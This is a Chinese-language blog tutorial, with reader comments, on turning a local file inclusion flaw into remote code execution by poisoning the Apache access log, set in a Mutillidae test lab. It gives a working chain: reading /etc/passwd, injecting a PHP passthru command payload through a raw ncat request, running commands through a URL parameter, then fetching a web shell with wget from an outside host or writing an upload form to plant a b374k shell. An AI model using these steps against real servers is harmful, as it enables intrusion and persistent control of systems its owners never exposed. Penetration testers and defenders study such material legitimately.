通过APACHE ACCESS LOG来利用LFI漏洞

2018年08月28日 183 次阅读 3 条评论 1 人点赞

本地文件包含(LFI)漏洞,常被入侵者用来提取站点所在服务器上的不同文件内容,如passwd,hosts等。但你有没有想过将它提升到另一个层级?即通过本地文件包含来获取服务器上的浏览器shell(c99,b374k等)。本文也将就此展开讨论,下面让我们步入正题!

设置

我将使用我本地的渗透测试环境设置为例。我当前所使用的web应用程序是Mutillidae。此外,我们必须将Apache配置为允许目录遍历。

<Directory /path/to/document/root>Options Indexes</Directory>

show time

首先我们来寻找LFI漏洞,点击链接后我们可以看到如下的url地址:

/index.php?page=

让我们尝试包含一个敏感文件路径/etc/passwd,看看会发生什么。如下:

/index.php?page=/etc/passwd

11selection_154.png

竟然成功读取到了文件内容!这也为我们验证了该应用确实存在本地文件包含漏洞。接下来我们来包含Apache access log,看看是否也能访问到其中的内容。

访问日志的位置和文件名在不同的系统上会有所差异,在我的系统上是/var/log/apache2/access.log。将url修改如下:

/index.php?page=/var/log/apache2/access.log

22selection_155.png

太棒了!访问日志的内容也成功被加载。

经过以上的初步验证,现在是时候进入到我们的第二阶段了。

Apache访问日志的利用

在此之前,你必须要对Apache日志有所了解。

服务器访问日志记录服务器处理的所有请求。

参考来源:http://httpd.apache.org/docs/1.3/logs.html#accesslog

这也意味着我们发送到服务器上的任何请求都将会被保存到这里。

首先我们打开一个终端,然后使用netcat向服务器发送一个GET请求。我们之所以没有使用浏览器发送此请求,是因为它会对我们的请求进行url编码,这将导致它无法正常工作。我们注入的代码如下:

<?php passthru($_GET['cmd']); ?>

关于passthru()函数:

passthru – 执行外部程序并显示原始输出

参考来源:http://php.net/passthru

要使用netcat发送请求,我们需要在终端中执行以下操作:

ncat 192.168.56.101 80

然后我们键入以下内容:

GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1Host: 192.168.56.101Connection: close

注:这里你必须将192.168.56.101更改为你目标的IP地址。这是我虚拟机的IP地址。

最终看起来应该像下面这样:

$ ncat 192.168.56.101 80GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1Host: 192.168.56.101Connection: close
 
HTTP/1.1 404 Not FoundDate: Mon, 17 Mar 2014 17:34:53 GMTServer: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1Vary: Accept-Encoding
Content-Length: 202Connection: close
Content-Type: text/html; charset=iso-8859-1
 404 Not Found</pre><h1>Not Found</h1><pre>
 The requested URL /< was not found on this server.

现在让我们来验证下我们的注入是否有效,返回浏览器并向URL添加一个新参数:

cmd=

在我们的例子中,我将使用id命令:

/index.php?page=/var/log/apache2/access.log&cmd=id

现在,我们来看看我们得到的输出。 仔细看,你会看到类似于红框标注的内容:

33selection_156.png

我们的命令在服务器上成功被执行!

下面是我们的重头戏,即获取服务器的浏览器shell。这里有两种方法,第一种是使用wget,第二种是注入上传表单。我们先来介绍第一种。

使用wget

Wget是一个文件下载命令。虽然并非总是那么有效,但作为最简单的方法是我们首先需要去尝试的。将cmd参数更改如下:

&cmd=wget http://somedomain.com/shellfile.php

这将把shellfile.php下载到服务器,并将其保存在当前的工作目录中(如果可读的话)。如果你想要将它保存在其它位置,你可以参考wget手册。通过这种方法,可以为你省去上传表单的中间步骤。

上传表单

如果wget不起作用,我们可以使用上传表单这种方法。我们将在服务器上执行echo命令,该命令将会将我们的任意内容写入到文件。将cmd参数更改如下: 

<FORM ENCTYPE="multipart/form-data" ACTION=<?php echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?php move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>

这将在服务器上创建一个带有上传表单的文件。然后我们在浏览器中打开该上传页面,上传我们的浏览器shell。

如下所示,我们成功上传了b374k shell。

selection_157.png

过程回顾

1.通过获取passwd,hosts等文件来验证LFI漏洞;

2.通过LFI漏洞获取Apache日志访问;

3.使用netcat或类似工具发送恶意请求;

4.通过测试id,whoami等简单命令来验证代码执行;

5.使用wget或将上传表单写入服务器,将浏览器shell添加到服务器上;

6.访问浏览器shell验证是否成功。

总结

虽然这本身并不是一个超高风险的漏洞,但在被正确利用的情况下也可能会带来巨大的安全威胁。

人生就像一张白纸,随着时间的流逝,白纸变成了故事

文章评论(3

  • 山竹Lv 1

    作者发的这篇文章我有点看不懂呢

    #32018-09-20 13:47
  • 搬砖匠Lv 1

    作为一个服务器运维,这个问题是不应该发生的

    #22018-09-14 11:41
  • 阳阳博主

    继续努力

    #12018-09-07 17:05
  • 接收回复邮件通知